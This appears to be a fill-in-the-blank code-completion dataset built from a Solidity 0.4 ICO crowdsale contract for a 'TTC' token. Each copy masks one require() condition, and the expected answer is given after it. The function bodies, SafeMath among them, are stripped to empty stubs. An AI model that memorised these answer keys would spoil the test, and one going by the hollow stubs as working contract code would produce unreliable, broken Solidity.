pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function add(uint a, uint b) internal pure returns (uint) { } function max64(uint64 a, uint64 b) internal pure returns (uint64) { } function min64(uint64 a, uint64 b) internal pure returns (uint64) { } function max256(uint256 a, uint256 b) internal pure returns (uint256) { } function min256(uint256 a, uint256 b) internal pure returns (uint256) { } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ } function balanceOf(address _owner) public constant returns (uint balance) { } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { } function approve(address _spender, uint _value) public{ } function allowance(address _owner, address _spender) public constant returns (uint remaining) { } } contract Ownable { address public owner; function Ownable() public{ } modifier onlyOwner { } function transferOwnership(address newOwner) onlyOwner public{ } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { require(msg.value >= MIN_INVEST_ETHER) ; adjustPhaseBasedOnTime(); uint coinToSend ; if(phase == Phases.PreIco) { Backer storage preBacker = preBackers[_beneficiary]; require(<FILL_ME>) coinToSend = msg.value.mul(PRE_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(preCoinSentToEther) <= PRE_MAX_CAP) ; preBacker.coinSent = preBacker.coinSent.add(coinToSend); preBacker.weiReceived = preBacker.weiReceived.add(msg.value); preBacker.coinReadyToSend = preBacker.coinReadyToSend.add(coinToSend); preReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding preEtherReceived = preEtherReceived.add(msg.value); preCoinSentToEther = preCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, preEtherReceived); }else if (phase == Phases.MainIco){ Backer storage mainBacker = mainBackers[_beneficiary]; require(mainBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(MAIN_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(mainCoinSentToEther) <= MAIN_MAX_CAP) ; mainBacker.coinSent = mainBacker.coinSent.add(coinToSend); mainBacker.weiReceived = mainBacker.weiReceived.add(msg.value); mainBacker.coinReadyToSend = mainBacker.coinReadyToSend.add(coinToSend); mainReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding mainEtherReceived = mainEtherReceived.add(msg.value); mainCoinSentToEther = mainCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, mainEtherReceived); } } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { } /** * Refund to all address */ function refundAll() onlyOwner public { } }
preBacker.weiReceived.add(msg.value)<=maximumCoinsPerAddress
372,255
preBacker.weiReceived.add(msg.value)<=maximumCoinsPerAddress
null
pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function add(uint a, uint b) internal pure returns (uint) { } function max64(uint64 a, uint64 b) internal pure returns (uint64) { } function min64(uint64 a, uint64 b) internal pure returns (uint64) { } function max256(uint256 a, uint256 b) internal pure returns (uint256) { } function min256(uint256 a, uint256 b) internal pure returns (uint256) { } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ } function balanceOf(address _owner) public constant returns (uint balance) { } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { } function approve(address _spender, uint _value) public{ } function allowance(address _owner, address _spender) public constant returns (uint remaining) { } } contract Ownable { address public owner; function Ownable() public{ } modifier onlyOwner { } function transferOwnership(address newOwner) onlyOwner public{ } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { require(msg.value >= MIN_INVEST_ETHER) ; adjustPhaseBasedOnTime(); uint coinToSend ; if(phase == Phases.PreIco) { Backer storage preBacker = preBackers[_beneficiary]; require(preBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(PRE_COIN_PER_ETHER_ICO).div(1 ether); require(<FILL_ME>) preBacker.coinSent = preBacker.coinSent.add(coinToSend); preBacker.weiReceived = preBacker.weiReceived.add(msg.value); preBacker.coinReadyToSend = preBacker.coinReadyToSend.add(coinToSend); preReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding preEtherReceived = preEtherReceived.add(msg.value); preCoinSentToEther = preCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, preEtherReceived); }else if (phase == Phases.MainIco){ Backer storage mainBacker = mainBackers[_beneficiary]; require(mainBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(MAIN_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(mainCoinSentToEther) <= MAIN_MAX_CAP) ; mainBacker.coinSent = mainBacker.coinSent.add(coinToSend); mainBacker.weiReceived = mainBacker.weiReceived.add(msg.value); mainBacker.coinReadyToSend = mainBacker.coinReadyToSend.add(coinToSend); mainReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding mainEtherReceived = mainEtherReceived.add(msg.value); mainCoinSentToEther = mainCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, mainEtherReceived); } } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { } /** * Refund to all address */ function refundAll() onlyOwner public { } }
coinToSend.add(preCoinSentToEther)<=PRE_MAX_CAP
372,255
coinToSend.add(preCoinSentToEther)<=PRE_MAX_CAP
null
pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function add(uint a, uint b) internal pure returns (uint) { } function max64(uint64 a, uint64 b) internal pure returns (uint64) { } function min64(uint64 a, uint64 b) internal pure returns (uint64) { } function max256(uint256 a, uint256 b) internal pure returns (uint256) { } function min256(uint256 a, uint256 b) internal pure returns (uint256) { } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ } function balanceOf(address _owner) public constant returns (uint balance) { } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { } function approve(address _spender, uint _value) public{ } function allowance(address _owner, address _spender) public constant returns (uint remaining) { } } contract Ownable { address public owner; function Ownable() public{ } modifier onlyOwner { } function transferOwnership(address newOwner) onlyOwner public{ } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { require(msg.value >= MIN_INVEST_ETHER) ; adjustPhaseBasedOnTime(); uint coinToSend ; if(phase == Phases.PreIco) { Backer storage preBacker = preBackers[_beneficiary]; require(preBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(PRE_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(preCoinSentToEther) <= PRE_MAX_CAP) ; preBacker.coinSent = preBacker.coinSent.add(coinToSend); preBacker.weiReceived = preBacker.weiReceived.add(msg.value); preBacker.coinReadyToSend = preBacker.coinReadyToSend.add(coinToSend); preReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding preEtherReceived = preEtherReceived.add(msg.value); preCoinSentToEther = preCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, preEtherReceived); }else if (phase == Phases.MainIco){ Backer storage mainBacker = mainBackers[_beneficiary]; require(<FILL_ME>) coinToSend = msg.value.mul(MAIN_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(mainCoinSentToEther) <= MAIN_MAX_CAP) ; mainBacker.coinSent = mainBacker.coinSent.add(coinToSend); mainBacker.weiReceived = mainBacker.weiReceived.add(msg.value); mainBacker.coinReadyToSend = mainBacker.coinReadyToSend.add(coinToSend); mainReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding mainEtherReceived = mainEtherReceived.add(msg.value); mainCoinSentToEther = mainCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, mainEtherReceived); } } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { } /** * Refund to all address */ function refundAll() onlyOwner public { } }
mainBacker.weiReceived.add(msg.value)<=maximumCoinsPerAddress
372,255
mainBacker.weiReceived.add(msg.value)<=maximumCoinsPerAddress
null
pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function add(uint a, uint b) internal pure returns (uint) { } function max64(uint64 a, uint64 b) internal pure returns (uint64) { } function min64(uint64 a, uint64 b) internal pure returns (uint64) { } function max256(uint256 a, uint256 b) internal pure returns (uint256) { } function min256(uint256 a, uint256 b) internal pure returns (uint256) { } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ } function balanceOf(address _owner) public constant returns (uint balance) { } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { } function approve(address _spender, uint _value) public{ } function allowance(address _owner, address _spender) public constant returns (uint remaining) { } } contract Ownable { address public owner; function Ownable() public{ } modifier onlyOwner { } function transferOwnership(address newOwner) onlyOwner public{ } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { require(msg.value >= MIN_INVEST_ETHER) ; adjustPhaseBasedOnTime(); uint coinToSend ; if(phase == Phases.PreIco) { Backer storage preBacker = preBackers[_beneficiary]; require(preBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(PRE_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(preCoinSentToEther) <= PRE_MAX_CAP) ; preBacker.coinSent = preBacker.coinSent.add(coinToSend); preBacker.weiReceived = preBacker.weiReceived.add(msg.value); preBacker.coinReadyToSend = preBacker.coinReadyToSend.add(coinToSend); preReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding preEtherReceived = preEtherReceived.add(msg.value); preCoinSentToEther = preCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, preEtherReceived); }else if (phase == Phases.MainIco){ Backer storage mainBacker = mainBackers[_beneficiary]; require(mainBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(MAIN_COIN_PER_ETHER_ICO).div(1 ether); require(<FILL_ME>) mainBacker.coinSent = mainBacker.coinSent.add(coinToSend); mainBacker.weiReceived = mainBacker.weiReceived.add(msg.value); mainBacker.coinReadyToSend = mainBacker.coinReadyToSend.add(coinToSend); mainReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding mainEtherReceived = mainEtherReceived.add(msg.value); mainCoinSentToEther = mainCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, mainEtherReceived); } } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { } /** * Refund to all address */ function refundAll() onlyOwner public { } }
coinToSend.add(mainCoinSentToEther)<=MAIN_MAX_CAP
372,255
coinToSend.add(mainCoinSentToEther)<=MAIN_MAX_CAP
null
pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function add(uint a, uint b) internal pure returns (uint) { } function max64(uint64 a, uint64 b) internal pure returns (uint64) { } function min64(uint64 a, uint64 b) internal pure returns (uint64) { } function max256(uint256 a, uint256 b) internal pure returns (uint256) { } function min256(uint256 a, uint256 b) internal pure returns (uint256) { } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ } function balanceOf(address _owner) public constant returns (uint balance) { } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { } function approve(address _spender, uint _value) public{ } function allowance(address _owner, address _spender) public constant returns (uint remaining) { } } contract Ownable { address public owner; function Ownable() public{ } modifier onlyOwner { } function transferOwnership(address newOwner) onlyOwner public{ } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 